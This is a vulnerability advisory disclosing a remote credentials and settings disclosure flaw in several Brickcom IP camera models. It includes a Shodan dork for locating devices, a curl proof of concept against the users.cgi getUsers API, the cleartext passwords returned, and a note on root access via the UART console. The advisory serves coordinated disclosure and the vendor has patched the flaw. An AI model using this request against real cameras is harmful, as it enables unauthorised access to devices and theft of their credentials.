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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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1. Advisory Information
========================================
Title:

Brickcom IP-Camera Remote Credentials and Settings Disclosure


Vendor Homepage:

http://www.brickcom.com

Tested on Camera types:

WCB-040Af, WCB-100A, WCB-100Ae, OB-302Np, OB-300Af, OB-500Af


Remotely Exploitable:

Yes

Vulnerability:

Username / Password / Settings Disclosure (Critical)

Shodan Dork:

title:"Brickcom"


Date:

14/12/2016

Authors:

Emiliano Ipar         (@maninoipar)      (linkedin.com/in/emilianoipar)

Ignacio Agustín Lizaso         (@ignacio_lizaso) (linkedin.com/in/ignacio-
lizaso-9ab73359)
Gastón Emanuel Rivadero (@derlok_epsilon) (linkedin.com/in/gaston-
emanuel-rivadero-858b9ba)


2. CREDIT
========================================
This vulnerability was identified during penetration test and Research by
Emiliano Ipar, Ignacio Lizaso and Gastón Rivadero.


3. Description
========================================
Brickom Cameras allow a low-privilege user to disclose every configuration
in the NVRAM, including credentials in clear text, remotely by making a
simple requests. This vulnerability, coupled with the fact that there are
two default users with known passwords which are rarely modified, allows an
attacker to disclose the admin password and latter every config.

The most Critical API call is users.cgi?action=getUsers, which provides
every user credential. Many other API calls to get information for the WIFI
password or FTP credentials, even the whole configuration, are affected
depending on the camera model.

On the hardware side, the UART console of some models (example: WCB-040Af,
with baudrate 38400) is exposed in the PCB and after soldering the
corresponding pins and connecting, the resulting shell has root access. A
simple NVSHOW command will list every config available in clear text,
including credentials.


4. Proof-of-Concept:
========================================
Using the following GET request:

curl http://<IP>:<PORT>/cgi-bin/users.cgi?action=getUsers -u user:pass -v

Request:
----------
> GET /cgi-bin/users.cgi?action=getUsers HTTP/1.1
> Authorization: Basic <BASE64 user:pass>
> User-Agent: curl/7.35.0
> Host: <IP>:<PORT>
> Accept: */*
>


Response:
----------
< HTTP/1.1 200 Ok
< Server: mini_httpd
< Cache-Control: no-cache
< Pragma: no-cache
< Expires: 0
< Content-Type: text/html
< Connection: close
<
size=3
User1.index=0
User1.username=admin
User1.password=admin
User1.privilege=1

User2.index=1
User2.username=viewer
User2.password=viewer
User2.privilege=0

User3.index=3
User3.username=rviewer
User3.password=rviewer
User3.privilege=2

5. SOLUTION
========================================
The vendor has been contacted and the firmware was updated. See disclosure
in:

https://www.brickcom.com/news/productCERT_security_advisorie.php